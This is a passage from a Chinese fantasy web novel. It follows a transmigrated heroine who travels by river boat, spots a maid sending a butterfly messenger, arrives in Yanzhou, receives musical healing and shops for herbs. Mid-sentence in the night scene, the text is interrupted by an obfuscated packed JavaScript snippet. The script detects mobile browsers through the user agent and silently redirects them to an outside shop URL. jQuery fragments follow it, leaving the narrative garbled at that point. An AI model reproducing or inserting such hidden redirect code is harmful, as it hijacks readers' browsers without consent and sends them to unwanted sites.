他说得简单,做起来却难。祝君竹蹙眉:“可我习惯先构建模型,再按模型执行。若全凭本能……”
林疏星摇头道:“你的思维方式并非缺陷,只是阵法可精雕细琢,实战却需瞬息万变,不相适用罢了。”
这话点醒了她。祝君竹心中一动:“所以我不需要抛弃编程思维,而是要设计出更高效、更灵活的‘实时运行系统’?”
林疏星听着什么“编程思维”,什么“实时运行系统”这等怪词,陷入了茫然。
祝君竹却自顾自的盘算起来。
不多时,门外传来清音的声音:“小姐,公子,该用午饭了!”
祝君竹这才从沉思中抬起头,惊觉已近午时。她活动了下僵硬的脖颈,看向林疏星:“多谢指点。”
“不必。”林疏星颔首。
二人一起出门,又引起了清音的一阵唏嘘。
午饭摆在客舱共用的小厅里。金鳞为表谢意,特意命厨房加了几个硬菜。一桌七人围坐,除了他们三个,还有金鳞本人、船上的账房先生、以及两位常走这条水路的行商。
气氛比前几日热络许多。几杯薄酒下肚,行商们话匣子便打开了。
“要说这些水匪,也是自作孽!”一个留着山羊胡的老商人摇头,“早些年他们还算守规矩,只劫财,不害命。自从换了当家的,心就黑了,专干灭门的勾当!”
“可不是!”另一人接话,“听说官府这回下了狠心,悬赏五万灵石取他们大当家的人头!好些人都动心了,组了队去剿匪呢!听说妖族的人都来了。”
金鳞喝了口酒,哼道:“剿?哪那么容易!天瀑江那么长,随便江边哪个山洞一躲,上哪儿找去?要我说,还得靠咱们自己多请护卫,把船守牢了才是正经。”
众人纷纷附和。
正说着,那账房先生忽然压低声音:“说到妖族……你们听说了吗?前阵子妖域的万妖山里出了件怪事。”
“什么怪事?”清音好奇地问。
账房先生左右看看,声音更低了:“听说啊,山里两位大妖——青丘的苍陵君,还有森蚺族的升卿君,前些日子不知为何打起来了!那动静,据说百里外都能听见!”
桌上顿时安静下来。
祝君竹握着筷子的手微微一顿。苍陵君、升卿君——这两个名字,她太熟悉了。正是她体内那两股妖力的本源!
她面上不动声色,继续夹菜,耳朵却竖了起来。
那老儿接着说:“据说她两从妖族一路打到龙族,又从龙族追到玉京山,那升卿君啊,就是咬着不放。打到最后,两位妖君竟然……一起失踪了!”
“失踪?”山羊胡商人惊讶,“那可是统御境的大妖!谁能让他们失踪?”
“这就不知道了。”账房先生摇头,“反正自那以后,青丘和森蚺两部就闹翻了,都说对方害了自家妖君,差点打起来。后来还是金翅大鹏王出面调停,才勉强压下去。”
另一行商咂咂嘴:“妖界内讧,跟咱们有啥关系?他们打他们的,咱们做咱们的生意。”
“你懂什么!”账房先生瞪他一眼,“妖界不稳,边境就难安!听说近来南荒州那边,妖族骚扰都多了三成!这要是真打起来,商路断了,咱们都得喝西北风!”
众人又议论起来,有担忧的,有不以为然的,有出主意的。祝君竹默默听着,心中却掀起惊涛。
两位妖君失踪——是那日穿越时,被卷入时空裂隙的结果?还是另有隐情?青丘与森蚺内讧,金翅大鹏王调停……这些信息碎片在她脑中飞速拼接,隐约勾勒出一张她尚看不清的网。
她下意识看向林疏星。他正低头喝茶,神情平静,仿佛对这些传闻毫无兴趣。但祝君竹注意到,他端茶杯的手指微微收紧了一分。
他也听进去了。
再看敖清澜。他含笑听着众人议论,偶尔插一两句话,姿态放松。但祝君竹敏锐地捕捉到,在听到“金翅大鹏王”时,他眼底掠过一丝极淡的、难以捉摸的情绪。
“对了。”山羊胡商人忽然想起什么,“还听说一件事——金翅大鹏王下了令,全界搜寻两位妖君的下落。活要见人,死要见尸。悬赏高得吓人,说是谁能提供线索,赏十万灵石,还能得大鹏王一个人情!”
“十万灵石?!”清音倒吸一口凉气,“那得是多少钱啊……”
“钱倒是其次。”账房先生摇头,“大鹏王的人情,那才是真值钱!他跺跺脚妖界都得震三震。得他一个人情,在妖界横着走都不为过!”
众人又是一阵惊叹。
祝君竹却觉得后背发凉。
全界搜寻……这意味着什么?意味着她体内的妖力波动,随时可能被妖族感知到!虽然这些日子她已初步炼化,但离完全掌控还差得远。
一顿饭吃得心神不宁。饭后,祝君竹借口要休息,匆匆回了房间。
关上门,她立刻盘膝坐下,内视己身。丹田处,那阴阳双鱼般的能量涡旋缓缓转动,一黑一白两股妖力交织缠绕,已被她炼化八成有余,但最核心颜色最浓郁的那部分,依旧顽固地盘踞在涡旋中心,纹丝不动。
她尝试调动灵力,去触碰那核心。两股妖力立刻躁动起来,一股灼热如岩浆,一股阴寒如玄冰,在她经脉中横冲直撞,痛得她闷哼一声,额上冷汗涔涔。
不行……还是太勉强。
她收功调息,待痛楚平复,才缓缓睁眼。窗外天色已暗,江面上起了薄雾,远处山影朦胧。船行得很稳,只有水浪拍打船舷的声音规律地传来。
敲门声又响。
“小姐,是我。”清音的声音。
祝君竹开门让她进来。清音手里端着托盘,上面是一碗热气腾腾的姜汤:“厨房熬的,说给大家压压惊。我给您端了一碗。”
“多谢。”祝君竹接过,小口喝着。姜汤辛辣,暖意从喉咙一路滑到胃里,驱散了心底那点寒意。
清音在床边坐下,双手托腮看着她,忽然问:“小姐,您是不是有心事?”
祝君竹动作一顿:“为何这么问?”
“您从午饭时就心神不宁的。”清音眨眨眼。
祝君竹看着清音单纯关切的眼神,心头涌起复杂情绪。
“我没事。”她最终只是摇摇头,“只是有些累。”
清音显然不信,但也没再追问。她起身帮祝君竹铺好床褥,又检查了门窗,絮絮叨叨地说:“晚上有事您喊一声我就过来。公子说他夜里会警醒些,让您放心休息……”
“他对你说的?”祝君竹抬眼。
“嗯!”清音点头,“他下午特意来找我,说小姐您今日耗神过度,夜里可能会睡不安稳,让我多留意着。其实他不说我也知道!我可是您的婢女!”
她说得理所当然,祝君竹却听出了别的意味。林疏星……在用自己的方式照顾她。不张扬,只是默默安排好一切。
“他……还说了什么?”她问得随意。
清音想了想:“也没说什么,就交代了几句。哦对了,他说如果夜里您做噩梦惊醒,让我别急着点灯,先陪您说说话,等神志清醒了再说——他说您有时候会分不清梦境和现实。”
祝君竹握着汤碗的手紧了紧。
这句话,戳中了她最深的恐惧。这些日子,江浅月的记忆碎片越来越频繁地涌现,有时在梦中,有时在清醒时。那些画面太过真实,真实到她常常恍惚——自己究竟是祝君竹,还是江浅月?是现世的灵魂占据了江浅月的身体,还是她的记忆正在吞噬现代的意识?
林疏星看出来了。他什么都知道,却什么也不说破。
“小姐?”清音见她神色不对,有些担心。
“我没事。”祝君竹放下空碗,挤出一个笑,“你也早点休息吧。”
清音犹豫了一下,还是听话地出去了。房间里重归寂静。
祝君竹躺在床上,睁眼看着头顶的舱板。船舱低矮,压抑得让人喘不过气。她闭上眼,脑海中却不断闪现白日画面——水匪
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998677|193914||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
狰狞的脸、飞溅的鲜血、倒地的尸体、还有那些关于妖君的传闻……
睡意全无。
不知过了多久,她索性起身,披衣走到窗边。推开窗,夜风灌入,带着江水特有的腥气。月光很淡,江面上雾气更浓了,能见度不足十丈。青蛟号像一尾巨鱼,在雾中缓缓游弋。
忽然,她瞥见船尾方向,隐约有个纤细身影立在栏杆边。似乎是那个总在金鳞身边伺候的侍女。
祝君竹记得她叫“阿绒”,平时沉默寡言,只安静做自己的事。但此刻,阿绒站在浓雾中,侧对着祝君竹的方向,右手微微抬起,尾指翘起一个古怪的弧度。
她在做什么?
祝君竹凝神细看。只见阿绒尾指指尖,不知何时停了一只蝴蝶——翅膀玄黑,边缘却缀着暗金纹路,在夜色中泛着幽幽微光。那蝴蝶极美,却美得妖异。
阿绒嘴唇微动,似在低语。蝴蝶翅膀轻轻颤动,仿佛在聆听。片刻后,阿绒指尖一弹,蝴蝶振翅而起,瞬间没入浓雾,向南飞去。
做完这一切,阿绒迅速转身,消失在船舱阴影中。
整个过程不过几息,若非祝君竹恰好站在窗边,又因失眠而格外警醒,根本不会注意到。
她关上窗,背靠墙壁,心跳骤然加快。
那只蝴蝶……绝不是寻常物种。那形态、那光泽,加上阿戎的诡异行为,分明是某种传讯用的法术!阿绒在向谁传讯?传了什么内容?
祝君竹脑中飞速运转。
她回到床上,抱紧膝盖。夜寒侵骨,她却觉得浑身发烫。那种被无形目光窥伺的感觉又回来了,比之前任何一次都更强烈、更迫近。
她深吸几口气,平复心绪。然后起身,走到门边,侧耳倾听——门外走廊寂静无声,护卫巡逻的脚步声规律而遥远。
她轻轻拉开门,闪身出去,快步走到隔壁林疏星房门前。抬手欲叩,却又停住。
此刻已是深夜,贸然打扰是否合适?若他问起缘由,她该如何解释?说看见细作传讯?会不会显得她疑神疑鬼?
就在犹豫时,门忽然从里面开了。
林疏星站在门口,衣衫整齐,显然也未睡。他看着她,眼中并无惊讶,只侧身让开:“进来。”
祝君竹走进房间。屋里只点了一盏小灯,光线昏暗。桌上摊着本书,旁边还有杯喝了一半的茶。
“坐。”林疏星关上门,走到桌边倒了杯热茶递给她,“做噩梦了?”
祝君竹摇头,接过茶杯暖手。她看着林疏星平静的脸,忽然不知该如何开口。
林疏星也不催促,在她对面坐下,静静等着。
半晌,祝君竹才低声道:“我刚才……看见阿绒在船尾传讯。”
林疏星眼神微凝:“传讯给谁?”
“不知道。用的是一只黑色金纹的蝴蝶,往南飞走了。”祝君竹描述着,指尖无意识摩挲杯壁。
林疏星沉默片刻:“内容?”
“我没听见。”祝君竹摇头,“但她传讯后,往我这个方向看了一眼——虽然隔着雾,但我感觉……她看的是我。”
这话说得有些主观,但林疏星并未质疑。他垂眸看着杯中茶水,氤氲热气模糊了他的神情。
房间里陷入沉默。只有灯花偶尔爆开的细微声响。
许久,林疏星才开口:“此事我已知晓。你回去休息,莫要声张。”
“可是……”
林疏星抬手打断她,语气罕见地强硬,“你灵力不稳,加之晕船,精神不济,此刻最需休养。其余之事,交给我。”
祝君竹看着他。昏黄灯光下,他眉宇间有淡淡的倦色,但眼神依旧清明坚定。这个人,似乎总在关键时刻挡在她身前。
“好。”她低声应道,起身走向门口。手搭上门闩时,她回头看了他一眼,“你……也早点休息。”
林疏星微微颔首。
祝君竹回到自己房间,关上门,背靠门板站了许久。心头那点些许的慌乱奇迹般地平复了。她知道林疏星一定已有打算——他总是这样,看似随性,实则步步为营。
她躺回床上,很快便睡着了。
一夜无梦。
翌日清晨,江雾散尽。
青蛟号航行在一片开阔江面上,两岸山势渐缓,已可见零星的农田与村落。昨夜之事仿佛从未发生,船上一切如常。船工们修补好了桅杆,金鳞指挥着调□□帆,船速比昨日快了不少。
祝君竹站在甲板上吹风,脸色比昨日好了许多。林疏星给的“定心丸”让她一夜安睡。早上醒来,那根弦依又绷了起来——阿绒传讯的画面,时不时在脑中闪现。
清音端着一盘洗净的野果过来:“小姐,尝尝这个!叫什么‘雾灵果’,可甜了!”
祝君竹拿起一颗。果子只有拇指大小,通体淡紫,表面覆着层白霜,像裹了层薄雾。放入口中,果肉清甜,汁水丰沛,确实爽口。
“好吃吧?”清音自己也塞了一颗,满足地眯起眼,“要是能多买些就好了,可惜放不久。”
两人正说着,金鳞从舱房走出。见她们在吃果子,笑道:“雾灵果确实美味。两位姑娘若是喜欢,待到了炎州,我知道有处果园,可亲自采摘。”
清音眼睛又亮了:“真的?那果园大吗?果子多吗?”
“占地三十余亩,满山都是。” 金鳞笑道,“届时不仅能摘果,还能在园中野炊,别有一番风味。”
他说得引人向往,清音已开始盘算要带什么食盒、用什么装果子了。祝君竹却注意到,阿绒并未跟在金鳞身边。往常这侍女总是如影随形,今日却不见踪影。
“金老板,怎不见阿绒姑娘?”她状似随意地问。
金鳞笑容不变:“说是身子不甚爽利,在舱里歇着。这几日江面风浪大,昨夜又受了些风寒。”
理由合情合理。但祝君竹心中疑虑更甚——昨夜阿绒在船尾传讯时,可看不出半点“不甚爽利”的模样。
她不再多问。
金鳞又与她们闲叙了几句,便告辞去寻商议行程了。
待人走远,清音凑到祝君竹耳边,小声说:“小姐,您发现没?阿绒姑娘今天确实没出来。而且啊……我早上路过她房门口,听见里面一点动静都没有,不像有人的样子。”
祝君竹心头一跳:“你确定?”
“确定!”清音点头,“鹿耳朵灵的很,真的,一点声儿都没有!连呼吸声都听不见。”
祝君竹沉默。若阿绒真不在,她会去哪儿?昨夜传讯后便潜逃了?还是……另有任务?
正思忖间,林疏星从另一侧走来。他手里拿着卷地图,见到她们,微微颔首,便走到船头栏杆处摊开地图查看。祝君竹会意,对清音道:“我去问问兄长行程,你在这儿等我。”
她走到林疏星身侧,假装一同看地图,压低声音:“阿绒可能不在房间里。”
林疏星目光依旧落在地图上,声音轻得只有两人能听见:“我知道。”
“你知道?”
“今晨寅时,她离船了。”林疏星语气平淡,“用的是水遁术,往南去了。”
祝君竹倒吸一口凉气。寅时——那正是天色最暗、守卫最松懈的时候!阿绒竟能在金鳞的眼皮底下悄无声息地离船,这份修为绝不简单!
“你怎么知道的?”她问。
林疏星终于抬眼看了她一眼:“我昨夜未睡。”
轻描淡写四字,却让祝君竹心头一震。他守了一夜?就为了监视阿绒?
“你……”她不知该说什么。
“无妨。”林疏星收起地图,“她既已离船,短时间内不会回来。你且安心。”
祝君竹怎么可能安心?阿绒走了,意味着情报已经传出去。天知道接下来会发生什么?
仿佛看出她的忧虑,林疏星又道:“兵来将挡。”
还是那样简单的几个字,却奇异地稳住了她的心神。是啊,担心无用。该来的总会来,她能做的只有做好准备。
“我明白了。”她点头,转身要走,又想起什么,回头问,“敖清澜那边……”
“他该是已然发觉,昨夜他似乎也没睡。”林疏星道。
祝君竹不再多问,回到清音身边。清音正眼巴巴望着她:“小姐,公子说什么了?咱们什么时候到炎州啊?”
“快了。”祝君竹揉揉她的头,“也就这两三日。”
清音欢呼一声,又开始盘算起摘果子的事。看着她无忧无虑的模样,祝君竹心中泛起一丝苦涩。这丫头什么都不知道,或许也是一种幸福。
三日午后,前方终于出现炎州的轮廓。那是一座临江而建的大城,城墙高耸,码头桅杆林立,远远便能听见喧嚣的人声。
青蛟号缓缓靠岸。
金鳞召集所有船客,在甲板上宣布:“诸位,炎州到了!咱们要在此休整五日,补充货物。五日后辰时,准时开船,过时不候!”
众人纷纷下船。祝君竹等四人也混在人群中,踏上炎州的土地。
码头上人声鼎沸,扛包的脚夫、叫卖的小贩、巡查的城兵挤作一团。祝君竹深吸一口气——终于离开了那艘令人窒息的船。
但她知道,危机并未解除。
林疏星道:“先找客栈住下。”
祝君竹点头,拉着清音跟上他的脚步。
四人穿过拥挤的码头区,走进炎州城繁华的街道。两旁店铺林立,酒旗飘扬,空气中弥漫着各种食物香气。清音兴奋地东张西望,早已把船上的紧张抛到脑后。
祝君竹却无心欣赏。她回头看了一眼,码头上,青蛟号的桅杆渐渐被其他船只遮挡。
但那种被窥伺的感觉,依旧如影随形。
她知道,这场逃亡,还远未结束。
而在他们看不见的远方,妖族腹地,金翅大鹏王的宫殿里。
一只玄翼凤尾蝶穿过层层禁制,落在王座扶手上。金翅大鹏王伸出手指,让蝴蝶停在自己指尖。
蝴蝶翅膀轻轻颤动,传递着远方的讯息。
片刻后,金翅大鹏王睁开眼,金色瞳孔中寒光凛冽。
“苍陵和升卿的妖力……竟在一个人类女子体内?”他低声自语,声音在大殿中回荡,“还被她炼化了八九成……”
殿中侍立的妖族将领们屏息垂首,不敢出声。
金翅大鹏王缓缓起身,高大身影在殿中投下浓重阴影。他走到窗边,望着远方天际,良久,才沉声下令:
“传令下去,找到那个女子,格杀勿论。”
命令如风般传遍妖界。
一场针对祝君竹的追杀,正式拉开了序幕。
而此时的祝君竹,还不知自己已成了整个妖界的猎物。她站在炎州城的街头,看着熙攘的人潮,心中只有一个念头——活下去。
天都,玄影监正堂。座上一位黑色锦袍的老者,正阅读者案头的卷宗。
一名玄影卫匆匆跑入行礼道:“报督令!玉京山传讯,禁制已突破,山内空无一人,那三人想是已经离去。玄策监化形司黄司命因灵力耗尽殉职。”
那座上的老者思忖片刻道:“着玄影监各驻地,详查这两女一男行踪,若有发现,立即回报。记住,一旦确认目标,需暗中监视,不可打草惊蛇!江浅月……可不是个好惹的。”
13. 第十二回:潮音疗痛探龙渊
晨光熹微时,祝君竹在客栈房间醒来。
炎州城的喧嚣从“栖月驿”的窗缝渗入——远处码头的号子声、近处街市的叫卖声、还有不知哪家铺子传来的打铁声,交织成市井特有的嘈杂乐章。她躺了片刻,才缓缓坐起,揉着隐隐作痛的太阳穴。
昨夜睡得并不安稳。
自踏入炎州城起,那种被窥伺的感觉便如影随形。昨日在客栈安顿下来后,林疏星独自外出探听消息,敖清澜则说要去拜访故友,清音兴致勃勃地拉着她逛街,她却始终心神不宁。
炎州城与之前途经的小镇截然不同。作为九大灵州之一,这里商贸繁荣,街道宽阔,店铺鳞次栉比。行人衣着各异,有仙朝官服的修行者,有穿着苏罗皮袄的行商,甚至偶尔能看见裹着斗篷、隐约露出鳞片的妖族。
太杂了。杂得令人不安。
祝君竹披衣下床,推开木窗。晨风带着江水的湿气涌入,吹散屋内闷热。她住的客栈临街,二楼视野尚可,能望见远处青灰色的城墙轮廓,以及更远方隐约的山峦。
“小姐醒了?”清音推门进来,手里端着铜盆,“我打了热水,您洗漱一下。公子一早就出去了,说是去采买货物。”
祝君竹点头,接过布巾浸湿。温水敷在脸上,驱散了最后一点睡意。
“敖先生呢?”她问。
“在院子里练笛呢。”清音撇嘴,“吹得倒是好听,就是太早了,扰人清梦。”
祝君竹笑了笑。她知道清音对敖清澜始终抱有戒心——或者说,清音对任何接近她的人都抱有戒心。这丫头的忠诚是刻在骨子里的,容不得半点可疑。
洗漱完毕,祝君竹换了身素青襦裙,长发简单绾起,用木簪固定。镜中的女子面容清丽,眉宇间却藏着挥之不去的倦色。她伸手抚过眼角,那里有淡淡的青黑。
“小姐,您脸色不太好。”清音凑过来,担忧地说,“是不是又头疼了?”
“有点。”祝君竹承认。这几日头痛发作得越来越频繁,有时只是轻微胀痛,有时却如针扎般尖锐。她知道这是记忆融合的副作用——江浅月的碎片正在强行挤进她的意识,两种人格在争夺主导权。
“我给您弹弹琴吧?”清音说着就准备拿琴出来。
正说着,门外传来叩门声。
“林姑娘可是醒了?”是敖清澜的声音,温和有礼。
清音眼睛一亮,快步去开门。敖清澜站在门外,月白长衫纤尘不染,手中拿着那支青玉长笛。见祝君竹面色苍白,他眉头微蹙拱手道:“姑娘气色不佳,可是旧疾又犯了?”
“劳先生挂心,不妨事,只是昨夜没睡好。”祝君竹回礼。
敖清澜仔细打量她的脸色,沉吟片刻道:“在下略通音律疗愈之术,若姑娘不嫌弃,或许可试试。”
清音立刻帮腔:“试试吧小姐!反正也没什么坏处!我也想看看敖先生的法子是不是比我的五音法还管用。”
敖清澜看来她一眼,心道这小丫头的胜负欲有些强。
祝君竹有些犹豫,她确实不舒服,但让敖清澜为她疗愈……总觉得不妥。这个人太过神秘,他的每一次接近都像精心设计的试探。
“姑娘可是信不过在下?”敖清澜似是看出她的顾虑,微微一笑。
话说到这份上,再拒绝便显得矫情了。祝君竹点头:“那便麻烦先生了。”
三人下楼,来到客栈后院。院中植着几株老槐,树下有石桌石凳。晨光透过枝叶洒下斑驳光影,空气中浮动着槐花淡香。
敖清澜请祝君竹在石凳坐下,自己则在对面落座。他从怀中取出一物——不是长笛,而是一枚巴掌大的贝壳。贝壳呈淡青色,表面有天然的螺旋纹路,在光下泛着珍珠般温润的光泽。
“此物名‘潮音贝’,生于东海万丈海沟,百年方能长成。”敖清澜将贝壳托在掌心,“其音可安神宁心,疏导郁结。姑娘且闭目放松,听我一曲。”
祝君竹依言闭眼。
清音搬了个小凳坐在她身侧,眼睛一眨不眨地盯着敖清澜,大有一种“看看你多大本事”的架势。
敖清澜似是没看见,将潮音贝凑到唇边。
没有笛膜,贝壳如何发声?祝君竹正疑惑,便听见一缕极轻极细的乐音飘出。
那不是寻常乐器能发出的声音。似潮汐拍岸,又似深海鲸歌,空灵悠远,带着某种直抵灵魂的穿透力。音波如涟漪般扩散,触及皮肤的瞬间,祝君竹浑身一震。
一股温和却强大的暖流自耳中涌入,顺着经脉流向四肢百骸。头痛如冰雪消融,迅速退去。紧绷的神经松弛下来,多日积累的疲惫被缓缓涤荡。
更奇妙的是,那些躁动的记忆碎片仿佛被这乐音抚平了。江浅月的影像不再横冲直撞,而是安静地沉入意识深处,排列成有序的画面。
祝君竹沉浸在乐音中,几乎要睡去。不知过了多久,乐声渐止。
她缓缓睁眼,世界变得清晰明亮。头痛消失无踪,连带着视野都清明了几分。她看向敖清澜,真诚道谢:“先生妙术,感激不尽。”
敖清澜收起潮音贝,微笑:“姑娘感觉可好些?”
“好多了。”祝君竹顿了顿,忍不住问,“这潮音贝……可是龙族之物?”
话一出口,她便觉不妥——这般直白地打探,未免太过唐突。
但敖清澜并未在意,点头承认:“正是。此贝只在龙族辖域深海生长,外界难得一见。在下也是机缘巧合,得龙族友人相赠。”
他说得坦然,祝君竹却听出了话外之音。一个普通的蛟人乐师,能得龙族友人赠送如此珍贵的疗愈圣物,这“友人”关系恐怕不简单。
“龙族……”她斟酌着词句,“先生似乎对龙族颇为了解?”
“我本就是龙族,虽非真龙,但本族的事也自然了解不少。”敖清澜笑意未减,眼中却掠过一丝深意,“说起来,龙族有许多秘闻,外界鲜有人知。姑娘可愿听在下说个故事?”
清音立刻竖起耳朵。
祝君竹暗觉奇怪,忽然间讲个故事?怪虽然怪,却也被勾起了好奇:“先生请讲。”
敖清澜望向东方,目光悠远,似在回忆:“世间有龙族,天生神圣,居于深海龙宫。而龙也分贵贱,如应龙、角龙等,这些想必姑娘是知道的。”
祝君竹点头:“家兄讲过。”
敖清澜继续道:“蛟乃是龙族旁支,虽是龙族,却是龙中最末等的支系。姑娘可知为何?”
祝君竹摇头问:“可是因为修为高低?”
敖清澜摆手:“非也,是因为蛟的血脉不纯。凡人中或身具龙族稀薄血脉,或得龙族赐予机缘,可通过秘法化为‘蛟’。”
祝君竹听着,掌心微微出汗。这番话看似在讲述奇闻异事,但每一句都像在敲打她记忆的闸门。江浅月的记忆碎片中,似乎有过类似的内容?
“这化蛟之术……想必极难?”她顺着话头问,声音保持平静。
“岂止是难。”敖清澜摇头,目光落在她脸上,像是在观察她的反应,“需先以龙族秘药淬体三年,伐骨洗髓,痛苦非常。待身体适应了药力,便要潜入那万丈海沟的热泉之中,受滚烫泉水浸泡百日。”
他顿了顿,声音更沉:“那百日,才是真正的酷刑。泉水温度之高,足以在顷刻间煮熟血肉。浸泡者需时刻运转功法抵抗,稍有不慎便会皮开肉绽,筋骨消融。且热泉中含有剧毒硫磺,会从毛孔渗入体内,侵蚀五脏六腑。百日之中,清醒时是烈火焚身之痛,昏睡时是毒蚀脏腑之苦。”
清音听得脸色发白,小声问:“那……有人熬过去吗?”
“有。”敖清澜点头,眼中闪过复杂神色,“但百不存一。大多数尝试者,要么中途放弃,要么命丧泉中,尸骨无存。能熬过百日者,褪去人躯,化为蛟身,从此可纵横四海,寿延千载。”
院中一时寂静。
槐花无声飘落,落在石桌上,落在三人衣襟。
祝君竹垂眸看着那几瓣落花,脑海中却翻腾不休。敖清澜为什么要讲这个故事?是随意闲聊,还是意有所指?他是在暗示什么?难道他看出她体内有异常?还是……
她忽然想起江倾川。
兄长若是没死,若他像林疏星一样需要隐姓埋名活下来,他会去哪里?怎么做?江浅月的记忆中有零碎片段。兄长年轻时曾游历东海,与龙族有些渊源。那么,敖清澜会不会就是……她想到与这位蛟人乐师初见时,他那轻敲玉笛的手指,身体微震。
“姑娘似乎在想什么?”敖清澜温和的声音打断她的思绪。
祝君竹抬眸,对上他探究的眼神。那双眼睛深邃如海,藏着太多她看不懂的东西。
“只是在想……”她斟酌道,“这般酷刑,当真有人愿意承受?”
“自然有。”敖清澜望着北方,“这世人所求,不过寥寥。为此付出代价,在有些人看来,是值得的。”
这话说得通透,却也冰冷。
祝君竹不再接话。她需要时间消化这些信息,更需要时间判断敖清澜的真实意图。
正沉默间,院门被推开,林疏星走了进来。
他今日换了身靛蓝长衫,做寻常行商打扮,手中提着个小布包。见三人都在院中,他微微一怔,随即走到石桌旁,将布包放下。
“寻了些炎州特产货样。”他打开布包,里面是几包用油纸裹着的干货,“炽血藤、龙须草、还有赤炎果。都是可以补的货物,天都这些东西的销路都还不错。”
清音凑过去看,好奇地扒拉:“这些药材有什么用啊?”
“炽血藤可炼制疗伤丹药,龙须草是稳固心神的辅材,赤炎果……”林疏星顿了顿,“是炼制火属性法器的材料。”
他说着,目光扫过祝君竹的脸,眉头微蹙:“你脸色好些了。”
“敖先生用潮音贝为我疗愈,头痛缓解许多。”祝君竹道。
林疏星看向敖清澜,颔首致谢:“有劳。”
“举手之劳。”敖清澜起身,“既然林兄回来了,在下便不打扰了。姑娘还需多休息,这几日莫要劳神,我们择时再叙。”
说罢,他拱手告辞,转身回了自己房间。
清音看着他的背影,小声嘀咕:“走得倒快……”
林疏星在祝君竹对面坐下,从怀中取出一卷纸:“这是炎州城的简图,我标了几处值得注意的地方。”
祝君竹接过展开。地图绘得细致,街道、商铺、官署、乃至几处修行者聚集的“灵市”都标注清楚。林疏星用朱笔圈了几处:城东的陈记饼铺、城南的药材市场、城西的驿馆区,还有城北一处标着“玄影监驻点”的小院。
“玄影监在这里有据点?”祝君竹心头一紧。
“每个州府都有。”林疏星语气平静,“不过炎州这个只是联络点,人手不多。我们小心避开便是。”
祝君竹点头,目光落在地图另一处——那是城中央一片占地颇广的建筑群,标着“炎州州牧府”。
“州牧府离我们住的客栈不远。”林疏星道,“尽量远离,以免节外生枝。”
“金鳞那边呢?”祝君竹问,“他也在采买货物?”
“嗯。”林疏星道,“他今日包下了城西最大的货栈,正在清点存货。五日后才出发,时间充裕。”
清音插嘴:“那我们这几天做什么?总不能一直待在客栈吧?”
林疏星看向祝君竹:“你可有想去之处?”
祝君竹想了想:“我想去市场转转。炽血藤什么的……我有些兴趣。”
这并非托辞。一则想购入些货物,毕竟他几人到了天都需要吃喝用度。二则这几日她研究阵法与灵力运用,深感自身理论基础薄弱。她需要更快的理解这个世界的力量体系,多看看风土人情也是好事。
“好。”林疏星没有多问,“午后我带你去。”
“我也去!我也去!”清音举手。
“你留下。”林疏星看她一眼,“守着行李。”
清音顿时蔫了,小声抗议:“又是我看家……”
祝君竹忍笑,拍拍她的肩:“回来给你带好吃的。”
“要陈记的葱油饼!”清音立刻提条件,“敖先生说的那家!”
“好,一定。”
午后,炎州城热闹更甚。
祝君竹与林疏星并肩走在熙攘的街道上。她换了身男装,青衫束发,作少年打扮。清音给她装扮完毕,大肆夸赞她家小姐是“玉面郎君”。
林疏星依旧是行商模样,两人混在人群中,并不显眼。
药材市场在城南,占了大半条街。还未走近,便闻到空气中混杂的药香——甘苦的、辛辣的、清冽的,各种气味交织,形成独特的市井气息。
街两旁全是铺面,有气派的药行,也有摆地摊的小贩。货物琳琅满目:成捆的干草、串起来的菌菇、装在陶罐里的粉末、还有活物——笼子里关着色彩斑斓的毒蛇、蜥蜴,水缸里养着奇形怪状的水生药材。
祝君竹看得目不暇接。
林疏星显然对这里很熟,径直带她来到一家招牌写着“百草轩”的铺子。掌柜是个须发皆白的老者,见林疏星进来,笑着迎上:“呦!林公子您来了,午前的货样可还过得去?”
“嗯,看看炽血藤。”林疏星道。
“今日正午刚到了一批上品,比您拿走的货样品质还高出一大截!”老者引他们到里间,从柜中取出一捆藤蔓。
那藤通体暗红,粗如儿臂,表面有螺旋状纹路,断口处能看到鲜红的芯,仿佛真的有血液在其中流淌。祝君竹凑近细看,能感受到藤中蕴藏着浓郁的火属性能量,炙热而躁动。
“这是三年生的,药性最烈。”老者介绍,“若是炼丹,取三寸便够。若是外用,可研磨成粉,敷在伤口能促生新肉,只是会有些灼痛。”
祝君竹伸手轻触藤身。指尖传来温热触感,像触碰微烫的暖炉。她闭上眼睛,灵力自指尖探出,渗入藤蔓内部。
藤蔓的纤维如毛细血管般纵横交错,其中流动着赤红色的能量流。那能量并非均匀分布,而是呈脉冲式涌动,一波一波,像心脏跳动。在能量流动的节点处,有细小的结晶状物质沉积,像是能量凝结的产物。
“有趣……”她略有兴奋。
“姑娘可是看出什么了?”老者笑问。
祝君竹睁眼,斟酌着词汇:“这藤的能量流转,似有结晶。”
老者眼睛一亮:“姑娘好眼力!炽血藤白日吸收地火阳气,夜间释放。三年生的藤,每十二个时辰完成一次循环,最是稳定。每循环一次,产生极少量的结晶,结晶越多品质越高。”
十二时辰,正好是一天。祝君竹若有所思。
她又看了几种有意思的药材:冰晶兰寒气刺骨,能量结构呈六角晶格状;雷击木蕴藏狂暴的电属性能量,纤维如电路板般规整;还有种叫“空冥石”的矿石,内部竟是中空的能量涡旋,能吸收并储存灵力。
每一种药材,每一种矿物,都有其独特的能量结构与运行规律。这让她想起化学元素周期表——不同元素因原子结构差异而性质迥异。这个世界虽然规则不同,但似乎也存在某种底层逻辑。
“定些炽血藤吧,其他的东西买些样品。”她对林疏星说。
林疏星点头,与掌柜议价。最后买了十袋炽血藤,冰晶兰、雷击木、空冥石各一小份,包成个包袱。
走出百草轩,日头已偏西。
“可还有想去之处?”林疏星问。
祝君竹摇头,心思还沉浸在刚才的发现中。她需要时间整理这些信息,尝试建立理论模型。
两人沿原路返回。经过一处街角时,祝君竹忽然停下脚步。
那里有个卖旧书的地摊,摊主是个落魄书生,面前铺着块破布,上面堆着些泛黄的书籍、卷轴。大多都是些话本、杂记,但有本薄册吸引了她的目光。
